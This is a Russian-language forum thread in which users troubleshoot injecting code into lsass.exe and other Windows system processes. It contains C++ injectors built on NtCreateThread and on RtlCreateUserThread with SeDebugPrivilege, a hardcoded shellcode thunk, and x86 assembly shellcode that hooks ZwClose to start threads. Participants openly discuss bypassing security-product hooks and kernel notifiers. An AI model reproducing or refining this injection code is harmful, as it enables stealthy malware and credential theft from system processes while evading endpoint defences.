Проблема такая Есть инжект с когда пытаюсь залезть а процесс lsass.exe (или прочии системные) система пишет что через минуту будет перезагружена Естественно использую не стандартную CreateRemoteThread (так как бы все закончилось error code = 0x00000008) Все это происходит когда откомпилил в релизе )) Но как только с++ отладчиком (в дебажном режиме ) пошагово выполняю код инжектируется на ура В чет может быть проблема ?
какой код инжектируется? проблема в инжектируемом коде))) какой метод используется? если палитесь, пишите в лс)))
Проблема в том, что твой код падает в исключение. ну либо код в студию с подробностями исключения, либо даже не знаю
вот только заметил что проблема ( не релизе\дебаге ) вообщем вопрос менят угол перед инжектом гружу дров к которому обращаюсь из за этого происходит падения процесса только что испытывал без дрова все OK Rel нет не в коде в происходит след. по PEB нахожу базу после это по хешам нахожу адреса функций и так далее ... дело не втом
код не мой и имеет форму следующего вида : Код (Text): void GetNTProcAddress(void) { HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll"); pNtAllocateVirtualMemory = (PNTALLOCATEVIRTUALMEMORY ) GetProcAddress(hNtDll,"NtAllocateVirtualMemory"); pNtWriteVirtualMemory = (PNTWRITEVIRTUALMEMORY ) GetProcAddress(hNtDll,"NtWriteVirtualMemory"); pNtProtectVirtualMemory = (PNTPROTECTVIRTUALMEMORY ) GetProcAddress(hNtDll,"NtProtectVirtualMemory"); pNtGetContextThread = (PNTGETCONTEXTTHREAD ) GetProcAddress(hNtDll,"NtGetContextThread"); pNtCreateThread = (PNTCREATETHREAD ) GetProcAddress(hNtDll,"NtCreateThread"); pNtResumeThread = (PNTRESUMETHREAD ) GetProcAddress(hNtDll,"NtResumeThread"); return; } //==[ Modificated CreateRemoteThread ]== ==================================================================================================================== HANDLE WINAPI MyCreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { GetNTProcAddress(); const CHAR myBaseThreadInitThunk[] = { '\x8B','\xFF', // 00830000 8BFF mov edi, edi '\x55', // 00830002 55 push ebp '\x8B','\xEC', // 00830003 8BEC mov ebp, esp '\x51', // 00830005 51 push ecx // ntdll.RtlExitUserThread '\x53', // 00830006 53 push ebx '\xFF','\xD0', // 00830007 FFD0 call eax '\x59', // 00830009 59 pop ecx '\x50', // 0083000A 50 push eax '\xFF','\xD1', // 0083000B FFD1 call ecx //RtlExitUserThread '\x90' }; // 0083000D 90 nop HANDLE hThread = NULL; DWORD StackReserve = 0x1000; PVOID pBaseThreadThunk = NULL; if (pNtAllocateVirtualMemory(hProcess,(PVOID*)&pBaseThreadThunk, 0, &StackReserve,MEM_COMMIT, PAGE_EXECUTE_READWRITE) < 0x80000000) { ULONG x; if(pNtWriteVirtualMemory(hProcess, pBaseThreadThunk, (LPVOID)myBaseThreadInitThunk, sizeof(myBaseThreadInitThunk),&x) < 0x80000000) { CLIENT_ID cid; cid.UniqueProcess = hProcess; StackReserve = 0x10000; ULONG_PTR Stack = 0; if( pNtAllocateVirtualMemory(hProcess,(PVOID*)&Stack, 0, &StackReserve,MEM_RESERVE, PAGE_READWRITE) < 0x80000000) { INITIAL_TEB InitialTeb; InitialTeb.StackAllocationBase = (PVOID)Stack; InitialTeb.StackBase = (PVOID)(Stack + StackReserve); // Update the Stack Position DWORD StackCommit = 0x1000; Stack += StackReserve - StackCommit; Stack -= 0x1000; StackCommit += 0x1000; // Allocate memory for the stack if(pNtAllocateVirtualMemory(hProcess,(PVOID*)&Stack, 0, &StackCommit, MEM_COMMIT, PAGE_READWRITE) < 0x80000000) { InitialTeb.StackLimit = (PVOID)Stack; StackReserve = 0x1000; if(pNtProtectVirtualMemory(hProcess, (PVOID*)&Stack, &StackReserve, PAGE_READWRITE | PAGE_GUARD, &x) < 0x80000000) { // Update the Stack Limit keeping in mind the Guard Page InitialTeb.StackLimit = (PVOID)((ULONG_PTR)InitialTeb.StackLimit - 0x1000); CONTEXT context = {CONTEXT_FULL}; if (pNtGetContextThread(GetCurrentThread(),&context) < 0x80000000) { context.Esp = (ULONG)InitialTeb.StackBase; context.Eip = (ULONG)pBaseThreadThunk; context.Ebx = (ULONG)lpParameter; //other init //must context.Eax = (ULONG)lpStartAddress; context.Ecx = 0x778B0859; // --> win7 //0x77AEEC01; --> vista --> ntdll.RtlExitUserThread context.Edx = 0x00000000; if (pNtCreateThread(&hThread, THREAD_ALL_ACCESS, 0, hProcess, &cid, &context, (PUSER_STACK)&InitialTeb, TRUE) < 0x80000000) { if(lpThreadId) { *lpThreadId = (DWORD)cid.UniqueThread; } if (!(dwCreationFlags & CREATE_SUSPENDED)) { pNtResumeThread(hThread, NULL); } } } } } } } } return hThread; }
984259h Ну код кривой вот и падает, система завершает работу. Ничего не обычного не вижу. Не естественно. Нормально так отрабатывает без ошибок. Поиск заюзайте для начала. Зачем разбирать одно и тоже десятки/сотни раз, если уже описано.
984259h А мне откуда знать где у вас ошибки, раз не робит значит кривой. Предположу что отваливается в myBaseThreadInitThunk[].
чудесно, а как эта функция вызывается и с какой потоковой ф-ей? где-то у тебя потоковая ф-я падает, подробностей ты не пишешь, что ж ты хочешь? цепляйся к процессу, например, виндбгшкой и давай лог
Это кстати плохая идея, система не будет знать об этом потоке, процессы создавать из него не получится, да и вобще сам метод инжекта думаю не стабильный, заметил хардкоды, если не хотите использовать CreateRemoteThread, используйте ZwQueueApcThread, реализация будет другая слегка, но зато видел пример в разделе исходники, от dead_body. Хотя по мне так большой разницы нет - если вы для инжекта используйте NtWriteVirtualMemory и при этом не снимая хуки защит из р0, то инжект в любом случае обнаружат(конечно не все)( Если конечно это та причина по которой вы не хотите использовать CreateRemoteThread ).
ilja_ Что значит система не будет знать про поток ? Она ведь их планирует. Не понятно %. Нужна "самостоятельная" реализация - так в сурцах виндоз посмотрите реализацию. Да и есть способы писать в ап без NtWriteVirtualMemory - а нафиг она нужна, если есть NtMapViewOfSection(+ NtFreeVirtualMemory) ?
ilja_ Раз вспомнил такие древние сорцы, то вот исходники из архива следующей версии того, что юзал dead_body. Пример того что RtlCreateUserThread успешно выполняет свои функции, правда код без комментариев, автор видно не любил коментить. ) Код (Text): align 4 proc ETCIRP.CreateShellcode_x86.Wrapper GetDeltaInto ebx lea edi , [.data + delta] mov eax , [edi + ETCIRP_WRAPPER_X86.pZwClose] lea ecx , [edi + ETCIRP_WRAPPER_X86.lpProtectAddress] mov [ecx] , eax lea edx , [edi + ETCIRP_WRAPPER_X86.dwProtectSize] mov dword [edx] , 5 lea eax , [edi + ETCIRP_WRAPPER_X86.dwPageOldProtect] stdcall [edi + ETCIRP_WRAPPER_X86.pZwProtectVirtualMemory] , NtCurrentProcess , ecx , edx , PAGE_EXECUTE_READWRITE , eax test eax , eax jnz .ret mov eax , [edi + ETCIRP_WRAPPER_X86.pZwClose] lea edx , [edi + ETCIRP_WRAPPER_X86.OldZwClose5bytes] mov ecx , [eax] mov [edx] , ecx mov cl , [eax + 4] mov [edx + 4] , cl lea edx , [.ZwClose.Handler + delta] sub edx , eax sub edx , 5 mov cl , 0E8h ;call lock xchg [eax] , cl lock xchg [eax + 1] , edx lea eax , [.dqTimeToSleep + delta] stdcall [edi + ETCIRP_WRAPPER_X86.pZwDelayExecution] , 0 , eax .ret: stdcall [edi + ETCIRP_WRAPPER_X86.pRtlExitUserThread] , eax .ZwClose.Handler: pushad GetDeltaInto ebx lea edi , [.data + delta] lea edx , [edi + ETCIRP_WRAPPER_X86.OldZwClose5bytes] mov eax , [edi + ETCIRP_WRAPPER_X86.pZwClose] mov ecx , [edx] mov dl , [edx + 4] lock xchg [eax + 4] , dl lock xchg [eax] , ecx mov eax , [edi + ETCIRP_WRAPPER_X86.dwPageOldProtect] lea ecx , [edi + ETCIRP_WRAPPER_X86.lpProtectAddress] lea edx , [edi + ETCIRP_WRAPPER_X86.dwProtectSize] push eax stdcall [edi + ETCIRP_WRAPPER_X86.pZwProtectVirtualMemory] , NtCurrentProcess , ecx , edx , eax , esp pop eax lea eax , [edi + sizeof.ETCIRP_WRAPPER_X86] push eax stdcall [edi + ETCIRP_WRAPPER_X86.pCreateThread] , NULL , 0 , eax , NULL , 0 , esp pop edx test eax , eax jz @F stdcall [edi + ETCIRP_WRAPPER_X86.pZwClose] , eax @@: popad sub dword [esp] , 5 retn align 4 .dqTimeToSleep dq 0FFFFFFFFEE1E5D00h endp align 4 ETCIRP.CreateShellcode_x86.Wrapper.size = $ - ETCIRP.CreateShellcode_x86.Wrapper ETCIRP.CreateShellcode_x86.Wrapper.data:
ilja_ А кто говорил что я юзаю прохуканые процы хуки снять не проблема ..... куда чуть посложнее нотификаторами да й там свои приколы... тут проблема в другом...
А кто сказал что она плохо выполняет? Это надстройка (как и все Rtl - это вспомогательная функа) над NtCreateThread, просто она сама решает задачи по настройке стека и контекста, которые автор топика расписал непонятно зачем в посте #8.
RET Вот сделал с RtlCreateUserThread ситуация аналогична (процесс падает ) Код (Text): BOOL NativeInjectProcess(DWORD ( WINAPI *pFunction )( LPVOID ),char *szProcessName) { BOOL bRet = FALSE; CLIENT_ID C_ID; C_ID.UniqueProcess = (HANDLE)GetProcessID(szProcessName); C_ID.UniqueThread = NULL; OBJECT_ATTRIBUTES ObjectAttributes; InitializeObjectAttributes(&ObjectAttributes,NULL,0,NULL,NULL); BOOLEAN bPrivilegeEnable = TRUE; NTSTATUS NtStatus = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE,TRUE,FALSE,&bPrivilegeEnable); if (NT_SUCCESS(NtStatus)) { HANDLE hProcess = NULL; NtStatus = NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&ObjectAttributes,&C_ID); if (NT_SUCCESS(NtStatus)) { HANDLE hModule = GetModuleHandleA(NULL); DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+ ((PIMAGE_DOS_HEADER)(hModule))->e_lfanew + sizeof(DWORD)+ sizeof(IMAGE_FILE_HEADER))))->SizeOfImage; PVOID pBuffer = NULL; NtStatus = NtAllocateVirtualMemory(hProcess,&pBuffer,0,&dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if (NT_SUCCESS(NtStatus)) { NtStatus = NtWriteVirtualMemory(hProcess,pBuffer,pBuffer,dwSize,0); if (NT_SUCCESS(NtStatus)) { HANDLE hRemoteThread = NULL; NtStatus = RtlCreateUserThread(hProcess,NULL,FALSE,0,NULL,NULL,pFunction,NULL,&hRemoteThread,0); if (NT_SUCCESS(NtStatus)) { if (hRemoteThread != NULL) { //NtClose(hRemoteThread); bRet = TRUE; } } } } } NtClose(hProcess); } return bRet; }
984259h Вам Great уже подсказал приаттачиться к процессу перед инжектом и посмотреть что с ним произойдет, где сработает экзепшен. Так выж до сих пор еще этого не сделали... Что тут говорить... Вам лень чтоли?